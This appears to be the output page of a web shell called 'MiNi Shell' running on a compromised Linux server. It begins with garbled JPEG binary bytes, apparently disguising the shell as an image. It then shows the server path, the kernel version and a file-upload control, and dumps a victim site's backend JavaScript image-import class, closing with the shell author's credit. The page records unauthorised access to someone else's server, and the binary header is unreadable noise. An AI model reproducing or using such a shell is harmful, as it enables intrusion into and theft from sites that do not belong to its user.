JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/web/js/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/web/js/article-import-from-doc.js

class ArticleImporter {
    _newImages = [];
    constructor({ 
        newImagesDropZoneId = 'fileDropZone', 
        newImagesListPreviewId = 'fileListPreview', 
        newImagesWaitingListPreviewId = 'fileWaitingListPreview', 
        newImagesUploadButtonId = 'uploadBtn', 
        additionalImagesDropZoneId = 'additionalImagesDropZone',
        additionalImagesListPreviewId = 'additionalImagesListPreview', 
        replaceableImageClass = 'replaceable-article-photo', 
        imageClass = 'article-photo',
        imageDetailsContainerClass = 'details-container',
        imageDetailsClass = 'article-photo-details',
        imageStatusClass = 'article-photo-status',
        modiferDataClass = 'modifier-data',
        minImageWidth = 1000, 
        csrfToken, 
        sourceDir, 
        refreshPreviewCallback
    }) {
        this.newImagesDropZone = document.getElementById(newImagesDropZoneId);
        this.newImagesListPreview = document.getElementById(newImagesListPreviewId);
        this.newImagesWaitingListPreview = document.getElementById(newImagesWaitingListPreviewId);
        this.newImagesUploadButton = document.getElementById(newImagesUploadButtonId);
        
        this.newImagesFileInput = document.createElement('input');
        this.newImagesFileInput.type = 'file';
        this.newImagesFileInput.multiple = true; // Allow multiple file selection
        this.newImagesFileInput.onchange = (e) => {
            this._handleSelectNewImages(Array.from(e.target.files));
        };
        
        this.additionalImagesDropZone = document.getElementById(additionalImagesDropZoneId);
        this.additionalImagesListPreview = document.getElementById(additionalImagesListPreviewId);
        this.additionalImagesDeleteButtons = this.additionalImagesListPreview.querySelectorAll('.delete-button');
        
        this._csrfToken = csrfToken;
        this._sourceDir = sourceDir;
        
        this.replaceableImages = document.querySelectorAll(`.${replaceableImageClass}`);
        this.dataModifiers = document.querySelectorAll(`.${modiferDataClass}`);
        
        this.imageClass = imageClass;
        this.imageDetailsContainerClass = imageDetailsContainerClass;
        this.imageDetailsClass = imageDetailsClass;
        this.imageStatusClass = imageStatusClass;
        
        this.minImageWidth = parseInt(minImageWidth);
        
        this.refreshPreviewCallback = refreshPreviewCallback;
    }
    
    addEventListeners() {
        if (this.newImagesDropZone) {      
            this.newImagesDropZone.addEventListener('dragenter', this._newImagesDropZoneDragenterListener.bind(this));
            this.newImagesDropZone.addEventListener('dragover', this._newImagesDropZoneDragoverListener.bind(this));
            this.newImagesDropZone.addEventListener('dragleave', this._newImagesDropZoneDragleaveListener.bind(this));
            this.newImagesDropZone.addEventListener('drop', this._newImagesDropZoneDropListener.bind(this));
            this.newImagesDropZone.addEventListener('click', this._newImagesDropZoneClickListener.bind(this));            
        }
        if (this.newImagesUploadButton) {
            this.newImagesUploadButton.addEventListener('click', this._newImagesUploadButtonClickListener.bind(this));
        }
        if (this.replaceableImages && this.replaceableImages.length > 0) {
            this.replaceableImages.forEach((replaceableImage) => replaceableImage.addEventListener('dragover', this._replaceableImagesDragoverListener.bind(this)));
            this.replaceableImages.forEach((replaceableImage) => replaceableImage.addEventListener('drop', this._replaceableImagesDropListener.bind(this)));
        }
        if (this.dataModifiers && this.dataModifiers.length > 0) {
            this.dataModifiers.forEach((dataModifier) => dataModifier.addEventListener('change', this._dataModifiersChangeListener.bind(this)));
        }
        if (this.additionalImagesDropZone) {
            this.additionalImagesDropZone.addEventListener('dragover', this._additionalImagesDropZoneDragoverListener.bind(this));
            this.additionalImagesDropZone.addEventListener('drop', this._additionalImagesDropZoneDropListener.bind(this));
        }
        if (this.additionalImagesDeleteButtons && this.additionalImagesDeleteButtons.length > 0) {
            this.additionalImagesDeleteButtons.forEach((additionalImageDeleteButton) => additionalImageDeleteButton.addEventListener('click', this._deleteAdditionImageOnClickListener.bind(this)));
        }
    }
    
    _newImagesDropZoneDragenterListener(e) {
        e.preventDefault();
        e.stopPropagation();
        e.target.style.backgroundColor = '#f0f0f0';
    }
    
    _newImagesDropZoneDragoverListener(e) {
        e.preventDefault();
        e.stopPropagation();
        e.target.style.backgroundColor = '#f0f0f0';
    }
    
    _newImagesDropZoneDragleaveListener(e) {
        e.preventDefault();
        e.stopPropagation();
        e.target.style.backgroundColor = '';
    }
    
    _newImagesDropZoneDropListener(e) {
        e.preventDefault();
        e.stopPropagation();
        e.target.style.backgroundColor = '';
        this._handleSelectNewImages(Array.from(e.dataTransfer.files));
    }
    
    _newImagesDropZoneClickListener() {
        this.newImagesFileInput.click();
    }
    
    _newImageDragstartListener(e) {
        e.dataTransfer.setData("image", e.target.id);
    }
    
    _newImagesUploadButtonClickListener() {
        if (this._newImages.length === 0) return;

        const formData = new FormData();
        this._newImages.forEach((newImage) => {
            formData.append('files[]', newImage);
        });

        formData.append('_csrf', this._csrfToken);
        formData.append('dir', this._sourceDir);

        fetch('/articles/upload-additional-images-for-import-from-doc-file', {
            method: 'POST',
            body: formData
        })
        .then(response => response.json())
        .then(data => {
            this.newImagesListPreview.style.display = data.length ? 'flex' : 'none';
//            const newImagesContainer = document.createElement('div');
//            newImagesContainer.classList.add('flex', 'flex-wrap');

            for (let i = 0; i < data.length; i++) {
                const file = data[i];
                
                const newImage = document.createElement('img');
                newImage.src = file.url;
                newImage.setAttribute("draggable", "true");
                newImage.setAttribute("alt", "image");
                newImage.setAttribute("loading", "lazy");
                newImage.setAttribute("id", Math.random().toString(36).substr(2, 9));
                newImage.setAttribute("data-details", JSON.stringify(file));
                newImage.classList.add('img-responsive');
                
                const dimensions = document.createElement('span');
                dimensions.classList.add(this.imageDetailsClass);
                dimensions.innerText = `${file.width}×${file.height}px `;
                
                const newImageIsValid = document.createElement('span');
                newImageIsValid.classList.add(file.width > this.minImageWidth ? "img_ok" : "img_no");
                newImageIsValid.classList.add(this.imageStatusClass);
                newImageIsValid.innerText = file.width > this.minImageWidth ? "[OK]" : "[NO]";

                const newImageInfo = document.createElement('div');                
                newImageInfo.append(dimensions);
                newImageInfo.append(newImageIsValid);``
                
                const newImageContainer = document.createElement('div');
                newImageContainer.style.width = 'calc(31% - 20px)';
                newImageContainer.classList.add('new-photo');
                newImageContainer.append(newImage);
                newImageContainer.append(newImageInfo);     
                this.newImagesListPreview.append(newImageContainer);
//                newImagesContainer.append(newImageContainer);
                
                newImage.addEventListener('dragstart', this._newImageDragstartListener.bind(this));
            }
            
            this.newImagesWaitingListPreview.innerHTML = "";
            this._newImages = [];
            
//            this.newImagesListPreview.innerHTML = "";
//            this.newImagesListPreview.append(newImagesContainer);
//            
//            const parent = this.newImagesUploadButton.closest('.file-drop-area'); // Get the parent with class 'file-drop-area'
//            if (parent) {
//                parent.innerHTML = "";
//                parent.append(newImagesContainer);
//            }            
        });
    }
    
    _replaceableImagesDropListener(e) {
        e.preventDefault();
        const data = e.dataTransfer.getData("image");        
        const selectedImg = document.getElementById(data);
        const selectedImgParent = selectedImg.closest('.new-photo');
        const selectedImgDetails = selectedImgParent.querySelector(`.${this.imageDetailsClass}`);
        const selectedImgStatus = selectedImgParent.querySelector(`.${this.imageStatusClass}`);
        
        const selectedImageFileName = selectedImg.src.substring(selectedImg.src.lastIndexOf('/')+1);
        
        const dataPath = e.target.closest(`.${this.imageClass}`).getAttribute("data-path");        
        const imagesToReplace = document.querySelectorAll(`.${this.imageClass}[data-path="${dataPath}"]`);
        
        for(let i = 0; i < imagesToReplace.length; i++) {            
            const targetImg = imagesToReplace[i].querySelector('img');
            const targetImgDetails = imagesToReplace[i].querySelector(`.${this.imageDetailsClass}`);
            const targetImgStatus = imagesToReplace[i].querySelector(`.${this.imageStatusClass}`);
            const targetImgOrMainInput = imagesToReplace[i].querySelector('input[type="radio"]');
            
            targetImg.src = selectedImg.src + "?v="+Date.now();
            
            targetImgDetails.innerText = selectedImgDetails.innerText;
            
            targetImgStatus.innerText = selectedImgStatus.innerText;
            if(selectedImgStatus.classList.contains('img_ok')) {
                targetImgStatus.classList.remove('img_no');
                targetImgStatus.classList.add('img_ok');
            } else {
                targetImgStatus.classList.remove('img_ok');
                targetImgStatus.classList.add('img_no');
            }
            
            targetImgOrMainInput.setAttribute("value", selectedImageFileName);
            targetImgOrMainInput.setAttribute("data-value", selectedImageFileName);
        }
        
        selectedImg.removeEventListener('dragstart', this._newImageDragstartListener.bind(this));
        
        selectedImgParent.remove();
        
        const formData = new FormData();
        formData.append('_csrf', this._csrfToken);
        formData.append('dir', this._sourceDir);
        formData.append('path', dataPath);
        formData.append('value', selectedImg.dataset.details);
        formData.append('data_type', 'json');
        
    
        fetch('/articles/modify-data-import-from-doc-file', {
            method: 'POST',
            body: formData
        })
        .then(response => response.json())
        .then(data => {
            if(this.refreshPreviewCallback) {
                this.refreshPreviewCallback();
            }
        })
        .catch(error => {
            console.error('error:', error);
        });
    }
    
    _replaceableImagesDragoverListener(e) {
        e.preventDefault();
    }
    
    _additionalImagesDropZoneDropListener(e) {
        e.preventDefault();
        const data = e.dataTransfer.getData("image");        
        const selectedImg = document.getElementById(data);        
        const file = JSON.parse(selectedImg.dataset.details);
        let dataValue = JSON.parse(this.additionalImagesDropZone.dataset.value);        
        dataValue.push(file);
                
        this._sendRequestModifyData({
            path: this.additionalImagesDropZone.dataset.path,
            value: JSON.stringify(dataValue),
            data_type: 'json'
        }, () => {            
            const newImage = document.createElement('img');
            newImage.src = file.url;    
            newImage.setAttribute("alt", "image");
            newImage.setAttribute("loading", "lazy");
            newImage.classList.add('img-responsive');

            const dimensions = document.createElement('span');
            dimensions.classList.add(this.imageDetailsClass);
            dimensions.innerText = `${file.width}×${file.height}px `;

            const newImageIsValid = document.createElement('span');
            newImageIsValid.classList.add(file.width > this.minImageWidth ? "img_ok" : "img_no");
            newImageIsValid.classList.add(this.imageStatusClass);
            newImageIsValid.innerText = file.width > this.minImageWidth ? "[OK]" : "[NO]";

            const newImageInfo = document.createElement('div');
            newImageInfo.append(dimensions);
            newImageInfo.append(newImageIsValid);

            const newImageRemoveButton = document.createElement('span');
            newImageRemoveButton.classList.add('delete-button');
            newImageRemoveButton.innerText = "[X]";
            newImageRemoveButton.addEventListener('click', this._deleteAdditionImageOnClickListener.bind(this));

            const newImageDetailsContainer = document.createElement('div');      
            newImageDetailsContainer.classList.add(this.imageDetailsContainerClass);
            newImageDetailsContainer.append(newImageRemoveButton);
            newImageDetailsContainer.append(newImageInfo);

            const newImageContainer = document.createElement('div');
            newImageContainer.style.width = 'calc(31% - 20px)';
            newImageContainer.classList.add(this.imageClass);
            newImageContainer.append(newImage);
            newImageContainer.append(newImageDetailsContainer);     

            this.additionalImagesListPreview.append(newImageContainer);
            
            this.additionalImagesDropZone.setAttribute("data-value", JSON.stringify(dataValue));
            
            selectedImg.removeEventListener('dragstart', this._newImageDragstartListener.bind(this));        
            selectedImg.closest('.new-photo').remove();
        }); 
    }
    
    _additionalImagesDropZoneDragoverListener(e) {
        e.preventDefault();
    }
    
    _deleteAdditionImageOnClickListener(e) {
        e.preventDefault();
        e.target.removeEventListener('click', this._deleteAdditionImageOnClickListener.bind(this));        
        
        const image = e.target.closest(`.${this.imageClass}`);
        let dataValue = JSON.parse(this.additionalImagesDropZone.dataset.value);
        dataValue = dataValue.filter((item) => item.url !== image.querySelector('img').src);
        
        
        this._sendRequestModifyData({
            path: this.additionalImagesDropZone.dataset.path,
            value: JSON.stringify(dataValue),
            data_type: 'json'
        }, () => {
            this.additionalImagesDropZone.setAttribute("data-value", JSON.stringify(dataValue));
            image.remove();
        }); 
    }
    
    _sendRequestModifyData(data, callback) {
        const formData = new FormData();
        formData.append('_csrf', this._csrfToken);
        formData.append('dir', this._sourceDir);
        
        for (const [key, value] of Object.entries(data)) {
            formData.append(key, value);
        }
    
        fetch('/articles/modify-data-import-from-doc-file', {
            method: 'POST',
            body: formData
        })
        .then(response => response.json())
        .then(data => {
            if(callback) {
                callback();
            }
        })
        .catch(error => {
            console.error('error:', error);
        });
    }
    
    _dataModifiersChangeListener(e) {
        const path = e.target.dataset.path;
        const value = e.target.dataset.value;
        const valueOn = e.target.dataset.valueOn;
        const valueOff = e.target.dataset.valueOff;
        const group = e.target.dataset.group;
        let dataType = e.target.dataset.type;
        
        let outputValue = null;
        
        if(e.target.nodeName === 'SELECT') {
            outputValue = e.target.options[e.target.selectedIndex].dataset.value;
            dataType = e.target.options[e.target.selectedIndex].dataset.type;
            
        } else if(group !== undefined && group.length > 0) {
            const fields = document.querySelectorAll(`[data-group="${group}"]:checked`);
            
            outputValue = fields.length > 0 ? Array.from(fields).map((field) => {
                if (field.dataset.type === 'integer') {
                    return parseInt(field.dataset.value);
                } else if (field.dataset.type === 'boolean') {
                    return field.dataset.value === '0' ? false : true;
                } else {
                    return field.dataset.value;
                }
            }) : [];
            
            outputValue = JSON.stringify(outputValue);
            
            dataType = 'json';
        } else if (valueOn !== undefined && valueOff !== undefined) {
            outputValue = e.target.checked ? valueOn : valueOff;
        } else if (dataType === 'json') { 
            outputValue = JSON.stringify(JSON.parse(value));
        } else {
            outputValue = value;
        }
        
        const formData = new FormData();
        formData.append('_csrf', this._csrfToken);
        formData.append('dir', this._sourceDir);
        formData.append('path', path);
        formData.append('value', outputValue);
        formData.append('data_type', dataType); 
    
        fetch('/articles/modify-data-import-from-doc-file', {
            method: 'POST',
            body: formData
        })
        .then(response => response.json())
        .then(data => {
            if(this.refreshPreviewCallback) {
                this.refreshPreviewCallback();
            }
        })
        .catch(error => {
            console.error('error:', error);
        });
    }
    
    _handleSelectNewImages(selectedImages) {
        this._newImages.push(...selectedImages); // Add new files to the array
        this._updateNewImagesListPreview();
        this.newImagesUploadButton.disabled = false; // Enable the upload button
    }
    
    _updateNewImagesListPreview() {
        this.newImagesWaitingListPreview.innerHTML = ''; // Clear previous preview

        this._newImages.forEach((newImage, index) => {
            const imageInfo = document.createElement('div');
            imageInfo.textContent = `${index + 1}. ${newImage.name} (${(newImage.size / 1024).toFixed(2)} KB)`;
            this.newImagesWaitingListPreview.appendChild(imageInfo);
        });
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com